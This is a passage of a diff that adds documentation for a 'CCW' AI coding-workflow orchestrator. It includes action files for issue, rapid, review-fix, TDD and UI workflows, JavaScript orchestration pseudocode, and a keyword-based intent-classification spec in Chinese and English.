+After each phase, CCW can continue to the next:
+
+```javascript
+// After brainstorm completes
+console.log(`
+## Brainstorm Complete
+
+**Next steps**:
+1. /workflow:plan "基于头脑风暴结果规划实施"
+2. Or refine: /workflow:brainstorm:synthesis
+`)
+
+// After plan completes
+console.log(`
+## Plan Complete
+
+**Next steps**:
+1. /workflow:action-plan-verify (recommended)
+2. /workflow:execute (直接执行)
+`)
+```
+
+## Example Invocations
+
+```bash
+# Product exploration
+ccw "我想做一个团队协作工具，但不确定具体方向"
+→ brainstorm:auto-parallel (5 roles)
+→ plan
+→ execute
+
+# Technical exploration
+ccw "如何设计一个高可用的消息队列系统？"
+→ brainstorm:auto-parallel (system-architect, data-architect)
+→ plan
+→ verify
+→ execute
+```
+
+## Output Artifacts
+
+```
+.workflow/
+├── brainstorm/
+│   ├── {session}/
+│   │   ├── role-{role}.md
+│   │   └── synthesis.md
+├── plans/
+│   └── IMPL_PLAN.md
+└── tasks/
+    └── IMPL-*.json
+```

.claude/skills/ccw/phases/actions/issue.md

@@ -0,0 +1,201 @@
+# Action: Issue Workflow
+
+Issue 批量处理工作流：规划 + 队列 + 批量执行
+
+## Pattern
+
+```
+issue:plan → issue:queue → issue:execute
+```
+
+## Trigger Conditions
+
+- Keywords: "issues", "batch", "queue", "多个", "批量"
+- Multiple related problems
+- Long-running fix campaigns
+- Priority-based processing needed
+
+## Execution Flow
+
+```mermaid
+sequenceDiagram
+    participant U as User
+    participant O as CCW Orchestrator
+    participant IP as issue:plan
+    participant IQ as issue:queue
+    participant IE as issue:execute
+    
+    U->>O: Multiple issues / batch fix
+    O->>O: Classify: issue
+    
+    Note over IP: Phase 1: Issue Planning
+    O->>IP: /issue:plan
+    IP->>IP: Load unplanned issues
+    IP->>IP: Generate solutions per issue
+    IP->>U: Review solutions
+    U->>IP: Bind selected solutions
+    
+    Note over IQ: Phase 2: Queue Formation
+    IP->>IQ: /issue:queue
+    IQ->>IQ: Conflict analysis
+    IQ->>IQ: Priority calculation
+    IQ->>IQ: DAG construction
+    IQ->>U: High-severity conflicts?
+    U->>IQ: Resolve conflicts
+    IQ->>IQ: Generate execution queue
+    
+    Note over IE: Phase 3: Execution
+    IQ->>IE: /issue:execute
+    IE->>IE: DAG-based parallel execution
+    IE->>IE: Per-solution progress tracking
+    IE-->>U: Batch execution complete
+```
+
+## When to Use
+
+✅ **Ideal scenarios**:
+- 多个相关 Bug 需要批量修复
+- GitHub Issues 批量处理
+- 技术债务清理
+- 安全漏洞批量修复
+- 代码质量改进活动
+
+❌ **Avoid when**:
+- 单一问题 → `/workflow:lite-fix`
+- 独立不相关的任务 → 分别处理
+- 紧急生产问题 → `/workflow:lite-fix --hotfix`
+
+## Issue Lifecycle
+
+```
+draft → planned → queued → executing → completed
+         ↓           ↓
+      skipped    on-hold
+```
+
+## Conflict Types
+
+| Type | Description | Resolution |
+|------|-------------|------------|
+| File | 多个解决方案修改同一文件 | Sequential execution |
+| API | API 签名变更影响 | Dependency ordering |
+| Data | 数据结构变更冲突 | User decision |
+| Dependency | 包依赖冲突 | Version negotiation |
+| Architecture | 架构方向冲突 | User decision (high severity) |
+
+## Configuration
+
+```javascript
+const issueConfig = {
+  plan: {
+    solutionsPerIssue: 3,  // Generate up to 3 solutions
+    autoSelect: false,  // User must bind solution
+    planningAgent: 'issue-plan-agent'
+  },
+  
+  queue: {
+    conflictAnalysis: true,
+    priorityCalculation: true,
+    clarifyThreshold: 'high',  // Ask user for high-severity conflicts
+    queueAgent: 'issue-queue-agent'
+  },
+  
+  execute: {
+    dagParallel: true,
+    executionLevel: 'solution',  // Execute by solution, not task
+    executor: 'codex',
+    resumable: true
+  }
+}
+```
+
+## Example Invocations
+
+```bash
+# From GitHub Issues
+ccw "批量处理所有 label:bug 的 GitHub Issues"
+→ issue:new (import from GitHub)
+→ issue:plan (generate solutions)
+→ issue:queue (form execution queue)
+→ issue:execute (batch execute)
+
+# Tech debt cleanup
+ccw "处理所有 TODO 注释和已知技术债务"
+→ issue:discover (find issues)
+→ issue:plan (plan solutions)
+→ issue:queue (prioritize)
+→ issue:execute (execute)
+
+# Security vulnerabilities
+ccw "修复所有 npm audit 报告的安全漏洞"
+→ issue:new (from audit report)
+→ issue:plan (upgrade strategies)
+→ issue:queue (conflict resolution)
+→ issue:execute (staged upgrades)
+```
+
+## Queue Structure
+
+```json
+{
+  "queue_id": "QUE-20251227-143000",
+  "status": "active",
+  "execution_groups": [
+    {
+      "id": "P1",
+      "type": "parallel",
+      "solutions": ["SOL-ISS-001-1", "SOL-ISS-002-1"],
+      "description": "Independent fixes, no file overlap"
+    },
+    {
+      "id": "S1",
+      "type": "sequential",
+      "solutions": ["SOL-ISS-003-1"],
+      "depends_on": ["P1"],
+      "description": "Depends on P1 completion"
+    }
+  ]
+}
+```
+
+## Output Artifacts
+
+```
+.workflow/issues/
+├── issues.jsonl              # All issues (one per line)
+├── solutions/
+│   ├── ISS-001.jsonl         # Solutions for ISS-001
+│   └── ISS-002.jsonl
+├── queues/
+│   ├── index.json            # Queue index
+│   └── QUE-xxx.json          # Queue details
+└── execution/
+    └── {queue-id}/
+        ├── progress.json
+        └── results/
+```
+
+## Progress Tracking
+
+```javascript
+// Real-time progress during execution
+const progress = {
+  queue_id: "QUE-xxx",
+  total_solutions: 5,
+  completed: 2,
+  in_progress: 1,
+  pending: 2,
+  current_group: "P1",
+  eta: "15 minutes"
+}
+```
+
+## Resume Capability
+
+```bash
+# If execution interrupted
+ccw "继续执行 issue 队列"
+→ Detects active queue: QUE-xxx
+→ Resumes from last checkpoint
+→ /issue:execute --resume
+```

.claude/skills/ccw/phases/actions/rapid.md

@@ -0,0 +1,104 @@
+# Action: Rapid Workflow
+
+快速迭代工作流组合：多模型协作分析 + 直接执行
+
+## Pattern
+
+```
+lite-plan → lite-execute
+```
+
+## Trigger Conditions
+
+- Complexity: Low to Medium
+- Intent: Feature development
+- Context: Clear requirements, known implementation path
+- No uncertainty keywords
+
+## Execution Flow
+
+```mermaid
+sequenceDiagram
+    participant U as User
+    participant O as CCW Orchestrator
+    participant LP as lite-plan
+    participant LE as lite-execute
+    participant CLI as CLI Tools
+    
+    U->>O: Task description
+    O->>O: Classify: rapid
+    O->>LP: /workflow:lite-plan "task"
+    
+    LP->>LP: Complexity assessment
+    LP->>CLI: Parallel explorations (if needed)
+    CLI-->>LP: Exploration results
+    LP->>LP: Generate plan.json
+    LP->>U: Display plan, ask confirmation
+    U->>LP: Confirm + select execution method
+    
+    LP->>LE: /workflow:lite-execute --in-memory
+    LE->>CLI: Execute tasks (Agent/Codex)
+    CLI-->>LE: Results
+    LE->>LE: Optional code review
+    LE-->>U: Execution complete
+```
+
+## When to Use
+
+✅ **Ideal scenarios**:
+- 添加单一功能（如用户头像上传）
+- 修改现有功能（如更新表单验证）
+- 小型重构（如抽取公共方法）
+- 添加测试用例
+- 文档更新
+
+❌ **Avoid when**:
+- 不确定实现方案
+- 跨多个模块
+- 需要架构决策
+- 有复杂依赖关系
+
+## Configuration
+
+```javascript
+const rapidConfig = {
+  explorationThreshold: {
+    // Force exploration if task mentions specific files
+    forceExplore: /\b(file|文件|module|模块|class|类)\s*[:：]?\s*\w+/i,
+    // Skip exploration for simple tasks
+    skipExplore: /\b(add|添加|create|创建)\s+(comment|注释|log|日志)/i
+  },
+  
+  defaultExecution: 'Agent',  // Agent for low complexity
+  
+  codeReview: {
+    default: 'Skip',  // Skip review for simple tasks
+    threshold: 'medium'  // Enable for medium+ complexity
+  }
+}
+```
+
+## Example Invocations
+
+```bash
+# Simple feature
+ccw "添加用户退出登录按钮"
+→ lite-plan → lite-execute (Agent)
+
+# With exploration
+ccw "优化 AuthService 的 token 刷新逻辑"
+→ lite-plan -e → lite-execute (Agent, Gemini review)
+
+# Medium complexity
+ccw "实现用户偏好设置的本地存储"
+→ lite-plan -e → lite-execute (Codex)
+```
+
+## Output Artifacts
+
+```
+.workflow/.lite-plan/{task-slug}-{date}/
+├── exploration-*.json      # If exploration was triggered
+├── explorations-manifest.json
+└── plan.json               # Implementation plan
+```

.claude/skills/ccw/phases/actions/review-fix.md

@@ -0,0 +1,84 @@
+# Review-Fix Workflow Action
+
+## Pattern
+```
+review-session-cycle → review-fix
+```
+
+## Trigger Conditions
+
+- 关键词: "review", "审查", "检查代码", "code review", "质量检查"
+- 场景: PR审查、代码质量提升、安全审计
+
+## Execution Flow
+
+```mermaid
+graph TD
+    A[User Input] --> B[review-session-cycle]
+    B --> C{7维度分析}
+    C --> D[Security]
+    C --> E[Performance]
+    C --> F[Maintainability]
+    C --> G[Architecture]
+    C --> H[Code Style]
+    C --> I[Test Coverage]
+    C --> J[Documentation]
+    D & E & F & G & H & I & J --> K[Findings Aggregation]
+    K --> L{Quality Gate}
+    L -->|Pass| M[Report Only]
+    L -->|Fail| N[review-fix]
+    N --> O[Auto Fix]
+    O --> P[Re-verify]
+```
+
+## Configuration
+
+| 参数 | 默认值 | 说明 |
+|------|--------|------|
+| dimensions | all | 审查维度(security,performance,etc.) |
+| quality_gate | 80 | 质量门槛分数 |
+| auto_fix | true | 自动修复发现的问题 |
+| severity_threshold | medium | 最低关注级别 |
+
+## CLI Integration
+
+| 阶段 | CLI Hint | 用途 |
+|------|----------|------|
+| review-session-cycle | `gemini --mode analysis` | 多维度深度分析 |
+| review-fix | `codex --mode write` | 自动修复问题 |
+
+## Slash Commands
+
+```bash
+/workflow:review-session-cycle  # 会话级代码审查
+/workflow:review-module-cycle   # 模块级代码审查
+/workflow:review-fix            # 自动修复审查发现
+/workflow:review --type security  # 专项安全审查
+```
+
+## Review Dimensions
+
+| 维度 | 检查点 |
+|------|--------|
+| Security | 注入、XSS、敏感数据暴露 |
+| Performance | N+1查询、内存泄漏、算法复杂度 |
+| Maintainability | 代码重复、复杂度、命名 |
+| Architecture | 依赖方向、层级违规、耦合度 |
+| Code Style | 格式、约定、一致性 |
+| Test Coverage | 覆盖率、边界用例 |
+| Documentation | 注释、API文档、README |
+
+## When to Use
+
+- PR合并前审查
+- 重构后质量验证
+- 安全合规审计
+- 技术债务评估
+
+## Risk Assessment
+
+| 风险 | 缓解措施 |
+|------|----------|
+| 误报过多 | severity_threshold过滤 |
+| 修复引入新问题 | re-verify循环 |
+| 审查不全面 | 7维度覆盖 |

.claude/skills/ccw/phases/actions/tdd.md

@@ -0,0 +1,66 @@
+# TDD Workflow Action
+
+## Pattern
+```
+tdd-plan → execute → tdd-verify
+```
+
+## Trigger Conditions
+
+- 关键词: "tdd", "test-driven", "测试驱动", "先写测试", "red-green"
+- 场景: 需要高质量代码保证、关键业务逻辑、回归风险高
+
+## Execution Flow
+
+```mermaid
+graph TD
+    A[User Input] --> B[tdd-plan]
+    B --> C{生成测试任务链}
+    C --> D[Red Phase: 写失败测试]
+    D --> E[execute: 实现代码]
+    E --> F[Green Phase: 测试通过]
+    F --> G{需要重构?}
+    G -->|Yes| H[Refactor Phase]
+    H --> F
+    G -->|No| I[tdd-verify]
+    I --> J[质量报告]
+```
+
+## Configuration
+
+| 参数 | 默认值 | 说明 |
+|------|--------|------|
+| coverage_target | 80% | 目标覆盖率 |
+| cycle_limit | 10 | 最大Red-Green-Refactor循环 |
+| strict_mode | false | 严格模式(必须先红后绿) |
+
+## CLI Integration
+
+| 阶段 | CLI Hint | 用途 |
+|------|----------|------|
+| tdd-plan | `gemini --mode analysis` | 分析测试策略 |
+| execute | `codex --mode write` | 实现代码 |
+| tdd-verify | `gemini --mode analysis` | 验证TDD合规性 |
+
+## Slash Commands
+
+```bash
+/workflow:tdd-plan          # 生成TDD任务链
+/workflow:execute           # 执行Red-Green-Refactor
+/workflow:tdd-verify        # 验证TDD合规性+覆盖率
+```
+
+## When to Use
+
+- 核心业务逻辑开发
+- 需要高测试覆盖率的模块
+- 重构现有代码时确保不破坏功能
+- 团队要求TDD实践
+
+## Risk Assessment
+
+| 风险 | 缓解措施 |
+|------|----------|
+| 测试粒度不当 | tdd-plan阶段评估测试边界 |
+| 过度测试 | 聚焦行为而非实现 |
+| 循环过多 | cycle_limit限制 |

.claude/skills/ccw/phases/actions/ui.md

@@ -0,0 +1,79 @@
+# UI Design Workflow Action
+
+## Pattern
+```
+ui-design:[explore|imitate]-auto → design-sync → plan → execute
+```
+
+## Trigger Conditions
+
+- 关键词: "ui", "界面", "design", "组件", "样式", "布局", "前端"
+- 变体触发:
+  - `imitate`: "参考", "模仿", "像", "类似"
+  - `explore`: 无特定参考时默认
+
+## Variants
+
+### Explore (探索式设计)
+```mermaid
+graph TD
+    A[User Input] --> B[ui-design:explore-auto]
+    B --> C[设计系统分析]
+    C --> D[组件结构规划]
+    D --> E[design-sync]
+    E --> F[plan]
+    F --> G[execute]
+```
+
+### Imitate (参考式设计)
+```mermaid
+graph TD
+    A[User Input + Reference] --> B[ui-design:imitate-auto]
+    B --> C[参考分析]
+    C --> D[风格提取]
+    D --> E[design-sync]
+    E --> F[plan]
+    F --> G[execute]
+```
+
+## Configuration
+
+| 参数 | 默认值 | 说明 |
+|------|--------|------|
+| design_system | auto | 设计系统(auto/tailwind/mui/custom) |
+| responsive | true | 响应式设计 |
+| accessibility | true | 无障碍支持 |
+
+## CLI Integration
+
+| 阶段 | CLI Hint | 用途 |
+|------|----------|------|
+| explore/imitate | `gemini --mode analysis` | 设计分析、风格提取 |
+| design-sync | - | 设计决策与代码库同步 |
+| plan | - | 内置规划 |
+| execute | `codex --mode write` | 组件实现 |
+
+## Slash Commands
+
+```bash
+/workflow:ui-design:explore-auto   # 探索式UI设计
+/workflow:ui-design:imitate-auto   # 参考式UI设计
+/workflow:ui-design:design-sync    # 设计与代码同步（关键步骤）
+/workflow:ui-design:style-extract  # 提取现有样式
+/workflow:ui-design:codify-style   # 样式代码化
+```
+
+## When to Use
+
+- 新页面/组件开发
+- UI重构或现代化
+- 设计系统建立
+- 参考其他产品设计
+
+## Risk Assessment
+
+| 风险 | 缓解措施 |
+|------|----------|
+| 设计不一致 | style-extract确保复用 |
+| 响应式问题 | 多断点验证 |
+| 可访问性缺失 | a11y检查集成 |

.claude/skills/ccw/phases/orchestrator.md

@@ -0,0 +1,435 @@
+# CCW Orchestrator
+
+无状态编排器：分析输入 → 选择工作流链 → TODO 跟踪执行
+
+## Architecture
+
+```
+┌──────────────────────────────────────────────────────────────────┐
+│  CCW Orchestrator                                                 │
+├──────────────────────────────────────────────────────────────────┤
+│                                                                   │
+│  Phase 1: Input Analysis                                          │
+│  ├─ Parse input (natural language / explicit command)            │
+│  ├─ Classify intent (bugfix / feature / issue / ui / docs)       │
+│  └─ Assess complexity (low / medium / high)                      │
+│                                                                   │
+│  Phase 2: Chain Selection                                         │
+│  ├─ Load index/workflow-chains.json                              │
+│  ├─ Match intent → chain(s)                                       │
+│  ├─ Filter by complexity                                          │
+│  └─ Select optimal chain                                          │
+│                                                                   │
+│  Phase 3: User Confirmation (optional)                            │
+│  ├─ Display selected chain and steps                              │
+│  └─ Allow modification or manual selection                        │
+│                                                                   │
+│  Phase 4: TODO Tracking Setup                                     │
+│  ├─ Create TodoWrite with chain steps                             │
+│  └─ Mark first step as in_progress                                │
+│                                                                   │
+│  Phase 5: Execution Loop                                          │
+│  ├─ Execute current step (SlashCommand)                           │
+│  ├─ Update TODO status (completed)                                │
+│  ├─ Check auto_continue flag                                      │
+│  └─ Proceed to next step or wait for user                         │
+│                                                                   │
+└──────────────────────────────────────────────────────────────────┘
+```
+
+## Implementation
+
+### Phase 1: Input Analysis
+
+```javascript
+// Load external configuration (externalized for flexibility)
+const intentRules = JSON.parse(Read('.claude/skills/ccw/index/intent-rules.json'))
+const capabilities = JSON.parse(Read('.claude/skills/ccw/index/command-capabilities.json'))
+
+function analyzeInput(userInput) {
+  const input = userInput.trim()
+
+  // Check for explicit command passthrough
+  if (input.match(/^\/(?:workflow|issue|memory|task):/)) {
+    return { type: 'explicit', command: input, passthrough: true }
+  }
+
+  // Classify intent using external rules
+  const intent = classifyIntent(input, intentRules.intent_patterns)
+
+  // Assess complexity using external indicators
+  const complexity = assessComplexity(input, intentRules.complexity_indicators)
+
+  // Detect tool preferences using external triggers
+  const toolPreference = detectToolPreference(input, intentRules.cli_tool_triggers)
+
+  return {
+    type: 'natural',
+    text: input,
+    intent,
+    complexity,
+    toolPreference,
+    passthrough: false
+  }
+}
+
+function classifyIntent(text, patterns) {
+  // Sort by priority
+  const sorted = Object.entries(patterns)
+    .sort((a, b) => a[1].priority - b[1].priority)
+
+  for (const [intentType, config] of sorted) {
+    // Handle variants (bugfix, ui, docs)
+    if (config.variants) {
+      for (const [variant, variantConfig] of Object.entries(config.variants)) {
+        const variantPatterns = variantConfig.patterns || variantConfig.triggers || []
+        if (matchesAnyPattern(text, variantPatterns)) {
+          // For bugfix, check if standard patterns also match
+          if (intentType === 'bugfix') {
+            const standardMatch = matchesAnyPattern(text, config.variants.standard?.patterns || [])
+            if (standardMatch) {
+              return { type: intentType, variant, workflow: variantConfig.workflow }
+            }
+          } else {
+            return { type: intentType, variant, workflow: variantConfig.workflow }
+          }
+        }
+      }
+      // Check default variant
+      if (config.variants.standard) {
+        if (matchesAnyPattern(text, config.variants.standard.patterns)) {
+          return { type: intentType, variant: 'standard', workflow: config.variants.standard.workflow }
+        }
+      }
+    }
+
+    // Handle simple patterns (exploration, tdd, review)
+    if (config.patterns && !config.require_both) {
+      if (matchesAnyPattern(text, config.patterns)) {
+        return { type: intentType, workflow: config.workflow }
+      }
+    }
+
+    // Handle dual-pattern matching (issue_batch)
+    if (config.require_both && config.patterns) {
+      const matchBatch = matchesAnyPattern(text, config.patterns.batch_keywords)
+      const matchAction = matchesAnyPattern(text, config.patterns.action_keywords)
+      if (matchBatch && matchAction) {
+        return { type: intentType, workflow: config.workflow }
+      }
+    }
+  }
+
+  // Default to feature
+  return { type: 'feature' }
+}
+
+function matchesAnyPattern(text, patterns) {
+  if (!Array.isArray(patterns)) return false
+  const lowerText = text.toLowerCase()
+  return patterns.some(p => lowerText.includes(p.toLowerCase()))
+}
+
+function assessComplexity(text, indicators) {
+  let score = 0
+
+  for (const [level, config] of Object.entries(indicators)) {
+    if (config.patterns) {
+      for (const [category, patternConfig] of Object.entries(config.patterns)) {
+        if (matchesAnyPattern(text, patternConfig.keywords)) {
+          score += patternConfig.weight || 1
+        }
+      }
+    }
+  }
+
+  if (score >= indicators.high.score_threshold) return 'high'
+  if (score >= indicators.medium.score_threshold) return 'medium'
+  return 'low'
+}
+
+function detectToolPreference(text, triggers) {
+  for (const [tool, config] of Object.entries(triggers)) {
+    // Check explicit triggers
+    if (matchesAnyPattern(text, config.explicit)) return tool
+    // Check semantic triggers
+    if (matchesAnyPattern(text, config.semantic)) return tool
+  }
+  return null
+}
+```
+
+### Phase 2: Chain Selection
+
+```javascript
+// Load workflow chains index
+const chains = JSON.parse(Read('.claude/skills/ccw/index/workflow-chains.json'))
+
+function selectChain(analysis) {
+  const { intent, complexity } = analysis
+  
+  // Map intent type (from intent-rules.json) to chain ID (from workflow-chains.json)
+  const chainMapping = {
+    'bugfix': 'bugfix',
+    'issue_batch': 'issue',       // intent-rules.json key → chains.json chain ID
+    'exploration': 'full',
+    'ui_design': 'ui',            // intent-rules.json key → chains.json chain ID
+    'tdd': 'tdd',
+    'review': 'review-fix',
+    'documentation': 'docs',      // intent-rules.json key → chains.json chain ID
+    'feature': null               // Use complexity fallback
+  }
+  
+  let chainId = chainMapping[intent.type]
+  
+  // Fallback to complexity-based selection
+  if (!chainId) {
+    chainId = chains.chain_selection_rules.complexity_fallback[complexity]
+  }
+  
+  const chain = chains.chains[chainId]
+  
+  // Handle variants
+  let steps = chain.steps
+  if (chain.variants) {
+    const variant = intent.variant || Object.keys(chain.variants)[0]
+    steps = chain.variants[variant].steps
+  }
+  
+  return {
+    id: chainId,
+    name: chain.name,
+    description: chain.description,
+    steps,
+    complexity: chain.complexity,
+    estimated_time: chain.estimated_time
+  }
+}
+```
+
+### Phase 3: User Confirmation
+
+```javascript
+function confirmChain(selectedChain, analysis) {
+  // Skip confirmation for simple chains
+  if (selectedChain.steps.length <= 2 && analysis.complexity === 'low') {
+    return selectedChain
+  }
+  
+  console.log(`
+## CCW Workflow Selection
+
+**Task**: ${analysis.text.substring(0, 80)}...
+**Intent**: ${analysis.intent.type}${analysis.intent.variant ? ` (${analysis.intent.variant})` : ''}
+**Complexity**: ${analysis.complexity}
+
+**Selected Chain**: ${selectedChain.name}
+**Description**: ${selectedChain.description}
+**Estimated Time**: ${selectedChain.estimated_time}
+
+**Steps**:
+${selectedChain.steps.map((s, i) => `${i + 1}. ${s.command}${s.optional ? ' (optional)' : ''}`).join('\n')}
+`)
+  
+  const response = AskUserQuestion({
+    questions: [{
+      question: `Proceed with ${selectedChain.name}?`,
+      header: "Confirm",
+      multiSelect: false,
+      options: [
+        { label: "Proceed", description: `Execute ${selectedChain.steps.length} steps` },
+        { label: "Rapid", description: "Use lite-plan → lite-execute" },
+        { label: "Full", description: "Use brainstorm → plan → execute" },
+        { label: "Manual", description: "Specify commands manually" }
+      ]
+    }]
+  })
+  
+  // Handle alternative selection
+  if (response.Confirm === 'Rapid') {
+    return selectChain({ intent: { type: 'feature' }, complexity: 'low' })
+  }
+  if (response.Confirm === 'Full') {
+    return chains.chains['full']
+  }
+  if (response.Confirm === 'Manual') {
+    return null  // User will specify
+  }
+  
+  return selectedChain
+}
+```
+
+### Phase 4: TODO Tracking Setup
+
+```javascript
+function setupTodoTracking(chain, analysis) {
+  const todos = chain.steps.map((step, index) => ({
+    content: `[${index + 1}/${chain.steps.length}] ${step.command}`,
+    status: index === 0 ? 'in_progress' : 'pending',
+    activeForm: `Executing ${step.command}`
+  }))
+  
+  // Add header todo
+  todos.unshift({
+    content: `CCW: ${chain.name} (${chain.steps.length} steps)`,
+    status: 'in_progress',
+    activeForm: `Running ${chain.name} workflow`
+  })
+  
+  TodoWrite({ todos })
+  
+  return {
+    chain,
+    currentStep: 0,
+    todos
+  }
+}
+```
+
+### Phase 5: Execution Loop
+
+```javascript
+async function executeChain(execution, analysis) {
+  const { chain, todos } = execution
+  let currentStep = 0
+  
+  while (currentStep < chain.steps.length) {
+    const step = chain.steps[currentStep]
+    
+    // Update TODO: mark current as in_progress
+    const updatedTodos = todos.map((t, i) => ({
+      ...t,
+      status: i === 0 
+        ? 'in_progress' 
+        : i === currentStep + 1 
+          ? 'in_progress' 
+          : i <= currentStep 
+            ? 'completed' 
+            : 'pending'
+    }))
+    TodoWrite({ todos: updatedTodos })
+    
+    console.log(`\n### Step ${currentStep + 1}/${chain.steps.length}: ${step.command}\n`)
+    
+    // Check for confirmation requirement
+    if (step.confirm_before) {
+      const proceed = AskUserQuestion({
+        questions: [{
+          question: `Ready to execute ${step.command}?`,
+          header: "Step",
+          multiSelect: false,
+          options: [
+            { label: "Execute", description: "Run this step" },
+            { label: "Skip", description: "Skip to next step" },
+            { label: "Abort", description: "Stop workflow" }
+          ]
+        }]
+      })
+      
+      if (proceed.Step === 'Skip') {
+        currentStep++
+        continue
+      }
+      if (proceed.Step === 'Abort') {
+        break
+      }
+    }
+    
+    // Execute the command
+    const args = analysis.text
+    SlashCommand(step.command, { args })
+    
+    // Mark step as completed
+    updatedTodos[currentStep + 1].status = 'completed'
+    TodoWrite({ todos: updatedTodos })
+    
+    currentStep++
+    
+    // Check auto_continue
+    if (!step.auto_continue && currentStep < chain.steps.length) {
+      console.log(`
+Step completed. Next: ${chain.steps[currentStep].command}
+Type "continue" to proceed or specify different action.
+`)
+      // Wait for user input before continuing
+      break
+    }
+  }
+  
+  // Final status
+  if (currentStep >= chain.steps.length) {
+    const finalTodos = todos.map(t => ({ ...t, status: 'completed' }))
+    TodoWrite({ todos: finalTodos })
+    
+    console.log(`\n✓ ${chain.name} workflow completed (${chain.steps.length} steps)`)
+  }
+  
+  return { completed: currentStep, total: chain.steps.length }
+}
+```
+
+## Main Orchestration Entry
+
+```javascript
+async function ccwOrchestrate(userInput) {
+  console.log('## CCW Orchestrator\n')
+  
+  // Phase 1: Analyze input
+  const analysis = analyzeInput(userInput)
+  
+  // Handle explicit command passthrough
+  if (analysis.passthrough) {
+    console.log(`Direct command: ${analysis.command}`)
+    return SlashCommand(analysis.command)
+  }
+  
+  // Phase 2: Select chain
+  const selectedChain = selectChain(analysis)
+  
+  // Phase 3: Confirm (for complex workflows)
+  const confirmedChain = confirmChain(selectedChain, analysis)
+  if (!confirmedChain) {
+    console.log('Manual mode selected. Specify commands directly.')
+    return
+  }
+  
+  // Phase 4: Setup TODO tracking
+  const execution = setupTodoTracking(confirmedChain, analysis)
+  
+  // Phase 5: Execute
+  const result = await executeChain(execution, analysis)
+  
+  return result
+}
+```
+
+## Decision Matrix
+
+| Intent | Complexity | Chain | Steps |
+|--------|------------|-------|-------|
+| bugfix (standard) | * | bugfix | lite-fix |
+| bugfix (hotfix) | * | bugfix | lite-fix --hotfix |
+| issue | * | issue | plan → queue → execute |
+| exploration | * | full | brainstorm → plan → execute |
+| ui (explore) | * | ui | ui-design:explore → sync → plan → execute |
+| ui (imitate) | * | ui | ui-design:imitate → sync → plan → execute |
+| tdd | * | tdd | tdd-plan → execute → tdd-verify |
+| review | * | review-fix | review-session-cycle → review-fix |
+| docs | low | docs | update-related |
+| docs | medium+ | docs | docs → execute |
+| feature | low | rapid | lite-plan → lite-execute |
+| feature | medium | coupled | plan → verify → execute |
+| feature | high | full | brainstorm → plan → execute |
+
+## Continuation Commands
+
+After each step pause:
+
+| User Input | Action |
+|------------|--------|
+| `continue` | Execute next step |
+| `skip` | Skip current step |
+| `abort` | Stop workflow |
+| `/workflow:*` | Execute specific command |
+| Natural language | Re-analyze and potentially switch chains |

.claude/skills/ccw/specs/intent-classification.md

@@ -0,0 +1,336 @@
+# Intent Classification Specification
+
+CCW 意图分类规范：定义如何从用户输入识别任务意图并选择最优工作流。
+
+## Classification Hierarchy
+
+```
+Intent Classification
+├── Priority 1: Explicit Commands
+│   └── /workflow:*, /issue:*, /memory:*, /task:*
+├── Priority 2: Bug Keywords
+│   ├── Hotfix: urgent + bug keywords
+│   └── Standard: bug keywords only
+├── Priority 3: Issue Batch
+│   └── Multiple + fix keywords
+├── Priority 4: Exploration
+│   └── Uncertainty keywords
+├── Priority 5: UI/Design
+│   └── Visual/component keywords
+└── Priority 6: Complexity Fallback
+    ├── High → Coupled
+    ├── Medium → Rapid
+    └── Low → Rapid
+```
+
+## Keyword Patterns
+
+### Bug Detection
+
+```javascript
+const BUG_PATTERNS = {
+  core: /\b(fix|bug|error|issue|crash|broken|fail|wrong|incorrect|修复|报错|错误|问题|异常|崩溃|失败)\b/i,
+  
+  urgency: /\b(hotfix|urgent|production|critical|emergency|asap|immediately|紧急|生产|线上|马上|立即)\b/i,
+  
+  symptoms: /\b(not working|doesn't work|can't|cannot|won't|stopped|stopped working|无法|不能|不工作)\b/i,
+  
+  errors: /\b(\d{3}\s*error|exception|stack\s*trace|undefined|null\s*pointer|timeout)\b/i
+}
+
+function detectBug(text) {
+  const isBug = BUG_PATTERNS.core.test(text) || BUG_PATTERNS.symptoms.test(text)
+  const isUrgent = BUG_PATTERNS.urgency.test(text)
+  const hasError = BUG_PATTERNS.errors.test(text)
+  
+  if (!isBug && !hasError) return null
+  
+  return {
+    type: 'bugfix',
+    mode: isUrgent ? 'hotfix' : 'standard',
+    confidence: (isBug && hasError) ? 'high' : 'medium'
+  }
+}
+```
+
+### Issue Batch Detection
+
+```javascript
+const ISSUE_PATTERNS = {
+  batch: /\b(issues?|batch|queue|multiple|several|all|多个|批量|一系列|所有|这些)\b/i,
+  action: /\b(fix|resolve|handle|process|处理|解决|修复)\b/i,
+  source: /\b(github|jira|linear|backlog|todo|待办)\b/i
+}
+
+function detectIssueBatch(text) {
+  const hasBatch = ISSUE_PATTERNS.batch.test(text)
+  const hasAction = ISSUE_PATTERNS.action.test(text)
+  const hasSource = ISSUE_PATTERNS.source.test(text)
+  
+  if (hasBatch && hasAction) {
+    return {
+      type: 'issue',
+      confidence: hasSource ? 'high' : 'medium'
+    }
+  }
+  return null
+}
+```
+
+### Exploration Detection
+
+```javascript
+const EXPLORATION_PATTERNS = {
+  uncertainty: /\b(不确定|不知道|not sure|unsure|how to|怎么|如何|what if|should i|could i|是否应该)\b/i,
+  
+  exploration: /\b(explore|research|investigate|分析|研究|调研|评估|探索|了解)\b/i,
+  
+  options: /\b(options|alternatives|approaches|方案|选择|方向|可能性)\b/i,
+  
+  questions: /\b(what|which|how|why|什么|哪个|怎样|为什么)\b.*\?/i
+}
+
+function detectExploration(text) {
+  const hasUncertainty = EXPLORATION_PATTERNS.uncertainty.test(text)
+  const hasExploration = EXPLORATION_PATTERNS.exploration.test(text)
+  const hasOptions = EXPLORATION_PATTERNS.options.test(text)
+  const hasQuestion = EXPLORATION_PATTERNS.questions.test(text)
+  
+  const score = [hasUncertainty, hasExploration, hasOptions, hasQuestion].filter(Boolean).length
+  
+  if (score >= 2 || hasUncertainty) {
+    return {
+      type: 'exploration',
+      confidence: score >= 3 ? 'high' : 'medium'
+    }
+  }
+  return null
+}
+```
+
+### UI/Design Detection
+
+```javascript
+const UI_PATTERNS = {
+  components: /\b(ui|界面|component|组件|button|按钮|form|表单|modal|弹窗|dialog|对话框)\b/i,
+  
+  design: /\b(design|设计|style|样式|layout|布局|theme|主题|color|颜色)\b/i,
+  
+  visual: /\b(visual|视觉|animation|动画|responsive|响应式|mobile|移动端)\b/i,
+  
+  frontend: /\b(frontend|前端|react|vue|angular|css|html|page|页面)\b/i
+}
+
+function detectUI(text) {
+  const hasComponents = UI_PATTERNS.components.test(text)
+  const hasDesign = UI_PATTERNS.design.test(text)
+  const hasVisual = UI_PATTERNS.visual.test(text)
